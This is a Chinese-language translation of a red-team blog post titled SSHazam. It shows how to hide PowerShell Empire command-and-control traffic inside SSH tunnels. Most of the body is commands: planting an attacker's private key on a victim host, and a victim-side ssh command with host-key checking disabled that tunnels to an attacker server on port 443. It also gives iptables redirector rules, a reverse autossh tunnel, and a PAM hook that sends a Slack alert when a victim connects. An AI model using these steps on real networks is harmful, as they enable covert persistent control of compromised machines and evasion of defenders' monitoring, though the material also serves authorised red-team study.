SSHazam:如何利用SSH隧道实现隐蔽C2通信

阅读量285110

|

发布时间 : 2019-01-10 15:15:32

x
译文声明

本文是翻译文章,文章原作者 blackhillsinfosec,文章来源:blackhillsinfosec.com

原文地址:https://www.blackhillsinfosec.com/sshazam-hide-your-c2-inside-of-ssh/

译文仅供参考,具体内容表达以及含义原文为准。

 

一、前言

我们可以使用SSHazam在标准的SSH隧道中运行各种C2工具,避免网络行为被检测。在本文中,我们以PowerShell Empire为例,连接至受害主机上的某个localhost端口。本地端口通过SSH连接转发至远程Empire服务器,因此环境中只能看到SSH网络通信流量。受害主机搭载OS X系统,但我们也可以在Windows上使用Plink.exePutty工具集中的一款工具)来使用这种技术。

 

二、搭建隧道

如上图所示,受害主机系统上的SSH隧道正在5430端口上监听,会将收到的所有数据转发至Empire服务器(empire-server)。Empire服务器在localhost的同一端口上(127.0.0.1:5430)监听Empire入站连接。为了让SSH流量更加隐蔽,我们的SSH服务器在443端口上监听(而非标准的22端口)。记得修改SSH配置文件中的监听端口,此外也要修改与服务商的防火墙规则,放行该端口上的流量。

在建立隧道之前,我们需要在受害主机系统上创建或者复制一个私钥,并将对应的公钥添加到Empire服务器上的authorized_keys文件中,以便成功建立SSH连接。在本文案例中,受害主机上的私钥文件路径为~/.ssh/.do.key。我们可以在命令行中输入如下命令完成这些操作(这里省略了部分数据,记得补全):

mkdir ~/.ssh
chmod 700 ~/.ssh
echo -----BEGIN RSA PRIVATE KEY----- >> ~/.ssh/.do.key
echo MIIJKAIBAAKCAgEArVuMJdwgl9z9s1C0mrYV05hwUevmY+CkJaY/1iiPJSE6/AAp >> ~/.ssh/.do.key
echo +qkMZ9nrHkBQtaQMrXPW5MQXLxU/o8LQ5QyPiy/B4FiGEfNSx//mSJvEYAXXN4zC >> ~/.ssh/.do.key
<snipped here for brevity>
echo RkiQ5Eir83CLCZFLRWV8wFvNkGV2krxMXDtHHFL5ars/J7tdBekmYI62eXnE5oXl >> ~/.ssh/.do.key
echo NHky2x6YsnQf5lOkC1XyWvwg77gR2kRhb9KpOi+hp6xB42o00mpbZgyY5V4= >> ~/.ssh/.do.key
echo -----END RSA PRIVATE KEY----- >> ~/.ssh/.do.key
chmod 600 ~/.ssh/.do.key

为了避免其他人访问私钥,在Empire服务器上执行其他操作,我们可以适当更改配置。我们可以编辑/etc/passwd,将登录shell修改为/bin/false

victim:x:1001:1001:Victim Guy,,,:/home/victim:/bin/false

现在我们可以开始配置PowerShell Empire或者自己的C2在127.0.0.1:5430上监听,即使我们使用了类似域前置(domain fronting)之类的复杂配置,也能使用这种技术。

就这么简单,我们所有的C2流量已经可以隐藏在加密SSH隧道内部,无需担心C2流量触发基于网络特征的检测机制。

 

三、本地化方案

这种技术非常简单,便于使用,可能在容易触发警报的场景中顺利获得C2会话。然而我们可能不希望将客户的敏感数据托管在不属于我们的云端上。在这种情况下,我们需要创建其他重定向节点,将云端流量重定向到自己网络中的某个系统。这种操作更为复杂,但无需担心,解决方案如下所示:

C2连接通过SSH隧道转发至empire-redirector,而empire-redirector上的防火墙规则将流量转发至另一个中间转发节点(redirector)。最后,我们自己的系统(in-house)将与最终的转发节点建立一个反向SSH连接,准备接收Empire C2会话。

在受害主机上运行的SSH命令如下所示:

ssh -i ~/.ssh/.do.key  -p 443 -N -f -oStrictHostKeyChecking=no victim@empire-redirector.corp.com -L 5430:127.0.0.1:5431

in-house这个可靠系统上运行的SSH命令如下所示:

autossh -M 5431 -o ServerAliveInterval=30 -R 5433:10.10.10.185:5430 root@redirector.corp.com

我们首先需要安装autossh,这一步非常重要,可以保证隧道能保持长时间运行。

empire-redirector上的IP Table规则如下:

iptables -t nat -A OUTPUT -m addrtype --src-type LOCAL --dst-type LOCAL -p tcp -m multiport --dports 5430:65535 -j DNAT --to-destination 128.62.137.184:5432
iptables -t nat -A POSTROUTING -m addrtype --src-type LOCAL --dst-type UNICAST -j MASQUERADE
sysctl -w net.ipv4.conf.all.route_localnet=1

以上规则可以将543065535端口上的流量转发至最终的转发节点上,因此我们可以在这个范围内,为每个受害者分配独立的端口。

redirector上的IP Table规则如下所示:

sysctl -w net.ipv4.conf.all.route_localnet=1
iptables -t nat -I PREROUTING -p tcp --dport 5432 -j DNAT --to 127.0.0.1:5433

以上操作虽然有点复杂,但可以满足我们的需求,无需将敏感数据存放在云端上。

此外,当SSH建连成功时,我们还想通过slack获得事件通知。我们可以在empire-redirector上的/etc/pam.d/sshd文件中添加如下内容,这样每当SSH成功建连时,就会运行我们的slack通知脚本。

session [success=ok ignore=ignore module_unknown=ignore default=bad] pam_selinux.so open

session optional pam_exec.so /home/root/ssh-slack-alert.sh

我所使用的slack通知脚本如下所示:

#!/usr/bin/env bash

if [ "$PAM_USER" != "admin" ] && [ $PAM_TYPE != "close_session" ]
then
message="\`\`\`PamType: $PAM_TYPE\nSSH-User: $PAM_USER\nRhost: $PAM_RHOST\nServer: SSHazam\nHostname: `hostname`\`\`\`"

curl -X POST \
  --data-urlencode "payload={\"channel\": \"alerts\", \"username\": \"SSHazam\", \"text\": \"${message}\", \"icon_emoji\": \":boom:\"}" \
 https://hooks.slack.com/services/YOUR/SLACK/HOOKHERE
fi

注意,在这个较为复杂的场景中,每次只能允许一个受害者连接,除非每个受害者在empire-redirector上使用的都是不同的端口,并且使用了单独的私钥。这一点比较烦人,但在针对性较高的鱼叉式钓鱼攻击场景中效果很好。

本文翻译自blackhillsinfosec.com 原文链接。如若转载请注明出处。
分享到:微信
+13赞
收藏
興趣使然的小胃
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66